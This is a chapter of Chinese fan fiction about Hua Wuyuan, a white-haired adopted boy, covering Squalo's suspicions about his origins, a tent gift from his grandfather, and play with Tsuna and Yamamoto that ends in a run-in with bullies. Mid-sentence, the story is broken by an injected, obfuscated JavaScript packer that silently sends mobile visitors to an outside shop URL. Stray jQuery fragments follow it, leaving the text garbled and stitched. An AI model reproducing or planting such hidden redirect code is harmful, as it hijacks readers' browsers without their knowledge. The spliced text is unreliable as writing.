花无缘整个人像被按了开关。
刚才还软趴趴的精神一下子竖起来,眼睛瞬间亮了,背也坐直了,连呼吸都变得有力:“真的?”
姬子在旁边低低笑了一声,像看热闹不嫌事大:“小花突然就爱学习了,xixixi。”
斯库瓦罗哼了一声,语气淡淡:“看你表现,小鬼。”
斯库瓦罗把错题本推到他面前,手指点了点第一页。
斯库瓦罗看着对面那个咬着笔杆的孩子,心里把火气压下去一截。
玛蒙的报告早就写得清清楚楚:精神世界里的花无缘,外形停在十六七岁的阶段。也就是说,这孩子的里面至少是那个年纪的人。
至于身体为什么会缩小,无法知晓。
而且梦境之中的他是黑发的,和记忆中一模一样,但是现在却是白色的,并不是染发。
虽然当时的最后……他也变成了白发,当时他们都认为是因为摇篮事件的发生,导致他一夜白头,但是现在看来是他自己说的诅咒了。
在梦里,他仍是一头乌黑的头发。
可当他抬眼再看,他眼前的小孩的却是满头白发。
那是他自己说过的诅咒。
是他亲口承认过的结果。
摇篮事件发生前一周,他就已经在和他们谈类似的事了。
他说得含糊,却足够严肃:需要他们帮忙,参加一个仪式。
他不是那种轻易低头求人的人。
不到万不得已,他不会开口。
可那段时间,他几乎把瓦里安全部人都求了一遍——除了混账BOSS和贝尔。在他眼里贝尔还是个孩子,他可以理解。但混账BOSS不在其中,就显得格外反常。
他们当时也觉得不对劲:如果真是威胁到性命的事,怎么可能不告诉BOSS?
可他给出的理由偏偏又无懈可击。
混账BOSS是彭格列的继承人,是九代目的独子。那件事太危险,他们要直面非人的存在,谁也不能保证会发生什么。若是BOSS在这过程中受伤——哪怕只是擦破一点皮——他都无法面对九代目。
于是矛盾被一点点堆高,像火药一样压到最后一晚。
摇篮事件发生前的那一夜,他和混账BOSS爆发了极其激烈的争吵——从言语到推搡,再到失控的肢体冲突,像积压已久的东西终于全都炸开。
准确说是,是盛怒的BOSS和沉默的他。
他把视线从试卷上挪开,落在花无缘的侧脸。
记忆里那道身影不受控制地浮上来,逐渐与眼前的人重叠。
只是那个人当年是黑发黑瞳,标准的亚洲人长相,五官轮廓仍像亚洲人,此事的人确实白发红瞳。
再把线索串起来,味道就更不对。
玛蒙实验室里的梦境,前段时间的绑架案,还有那具被偷走的尸体。
每一条都指向同一个结论:这孩子背后藏着大秘密,而且那群人动手的方式不像临时起意,像是在找回属于他们的材料。
彭格列从来不放弃任何一个家人。
瓦里安也一样。
尤其是……
斯库瓦罗盯着花无缘的手。
那孩子写着写着就开始烦躁,笔尖一顿一顿。
那种小动作,那种不耐烦的节奏,几乎和他记忆里的一模一样。
太像了。
可偏偏,DNA没有任何血缘关系。
九代目在发现这孩子的时候,就默许了瓦里安的靠近。
他甚至没有绕弯子,他看着这个孩子就和他有关。
于是问题一层叠一层,他是谁,他从哪里来,他为什么会变成这样?
斯库瓦罗的舌尖顶了顶牙,差点骂出声。
要是那个混账BOSS还在的话,指不定真能从这孩子嘴里撬出点什么来。
一整天的学习下来,花无缘的脑子嗡嗡作响。
他回到房间,直接趴到床上,脸埋进被子里放空。
没过多久,门被轻轻敲了两下。
“进。”他闷闷地应。
路斯姐推门进来,语气一如既往地轻快:“小花,爷爷给你送礼物来了。”
“礼物?”花无缘一下就精神了。
他从床上弹起来,他跟着路斯姐下楼,一眼就看见玄关处摆着一个很大的快递箱,纸箱角都被加固过,贴着一圈结实的封条。
花无缘哇了一声,蹲下就开始拆。
胶带被扯开,纸箱掀起,里面露出折叠得整整齐齐的布料和支架。花无缘把说明书抽出来一看,愣了两秒,随即更高兴了——
是一个儿童帐篷。
花无缘抱着布料走了两步,忽然想起什么,又回头:“那小姬的呢?”
路斯利亚抬了抬下巴,示意旁边还有一箱:“也有。他那个是金色的。”
花无缘笑了笑,他点点头:“好。”
他知道自己在这段关系里要更谨慎一些。
毕竟是领养家庭。
他不能任性,不能太挑剔,不能让人觉得养不熟。
这个家里还有一个爷爷——年纪有点大了,住在意大利。花无缘去意大利的时候,通常也会去看他。那是个很和蔼的老人,说话慢慢的,但是很温柔,和他在一起很轻松。
每年过节、放假,总能收到他寄来的礼物。
有时候是衣服,有时候是小玩意,有时候是书和点心,像在用一种不张扬的方式告诉他,你是被爱着的。
花无缘还是蛮喜欢他。
他和路斯利亚把帐篷搬上楼,一边看说明书一边装。支架咔哒咔哒卡进接口,布面被撑开,圆顶一点点立起来。花无缘钻进去试了试,里面空间比想象中大,坐着都不憋屈,像一个能把外界隔开的安全角落。
装好之后,花无缘立刻拿起手机。
“我跟爷爷视频一下!”
路斯姐比了个手势:“去吧。”
屏幕很快亮起,连线接通的那一秒,老人熟悉的笑脸出现在画面里,背景是暖色的灯和摆得整齐的柜子。
花无缘坐在帐篷口,像在展示自己的战利品,声音一下变得轻快:“爷爷!我收到礼物了!好大一个!”
老人笑得眼睛都弯了,用意大利语慢慢问他喜欢不喜欢,问他最近身体怎么样,问他学习辛不辛苦。
花无缘的意大利语已经能日常聊天了。
他一边回答一边比划,讲自己今天学习学到头昏,讲帐篷怎么装起来,讲并盛这边的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696713|207997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天气,讲纲吉来找他玩,讲自己晒黑了一点点。
他说得很顺。
像终于有一段时间,他可以只当一个被宠着的孩子,把喜欢和疲惫都坦坦荡荡说出来。
次日,花无缘完成了作业之后就去找纲吉完了。
下午,阳光透过窗户洒进房间,作业本上留下了浅浅的阴影。
他和纲吉正在打着马里奥。
这时,窗外忽然传来一个熟悉的声音,带着爽朗的笑意——
“小花——纲吉——快下来玩啊——!”
花无缘和纲吉对视了一眼,同时凑到窗边推开窗户。
只见山本武骑着单车停在他们家门口,背上斜挎着棒球棍,一手还拎着手套,阳光打在他身上,整个人像是夏天的化身一样耀眼。
山本武看到了在二楼的他们咧开嘴,朝他们挥了挥手:“嘿嘿,快下来!”
楼下,奈奈正好走过,听见动静,仰头朝他们喊:“纲吉、小花,你们的朋友来找你们玩了哦!”
她的语气轻快,还带着掩不住的笑意。
花无缘推着单车出了门,纲吉小心翼翼地坐在后座上,手紧紧抓着花无缘的衣角。
“慢一点啊,小花……别骑太快!”纲吉有些紧张地喊。
花无缘笑了笑,偏过头安慰:“放心吧,我不会摔你的。”
山本武在前面单手握着车把,另一只手还晃了晃棒球棍,整个人精神奕奕:“走吧——去水坝!”
水坝的风比之前更大,青草的香气混着河水的清凉扑面而来。
三个人很快又玩了起来,棒球在空中划出一道道漂亮的弧线,偶尔掉进草丛里,还得他们一起去找。
“接住——!”山本武挥棒的瞬间,球砰的一声飞远。
纲吉扑过去,扑了个空,整个人滚在草地上,满脸是土。
“哈哈哈!”花无缘笑得直不起腰,伸手把纲吉拉起来:“果然还是废柴纲!”
纲吉鼓着脸,气呼呼地拍掉身上的草:“小花!你就知道笑我!”
可眼角却忍不住弯起来——因为这种被人拉起来的感觉,真让他安心。
太阳慢慢往西沉,光影洒在水坝上,三人影子被拉得长长的。
玩累了,他们一人买了一根棒冰仰面躺在草地上,棒球棍和手套丢在一旁,喘着气看着天空。
“啊——夏天真好啊。”山本武感叹着,伸了个懒腰。
“夏天真的是太好了。”花无缘肯定。
“我也喜欢夏天。”纲吉笑着说道。
坝边的风带着水汽,草籽黏在脚踝上,知了在耳边拼命叫。
这时几辆小自行车从堤上滑下来,车铃叮当响。几个比他们大一两岁的坏小孩叼着棒冰棍,慢吞吞围过去,目光从头到脚打量一遍。
几辆小车从堤上滑下来,车铃叮当。
“哟,这不是废柴纲嘛。”一个把棒冰棍随手丢进水里,“还带了个跟班?”
另一个笑嘻嘻挑衅:“还有个红眼睛的怪胎——要是我早就躲起来不敢见人了。”
“你们三个抱团取暖呢?好——可——怜——哦。”有人学着腔调,把哦拖得老长。
山本武袖子一挽,脚步一沉:“你们——”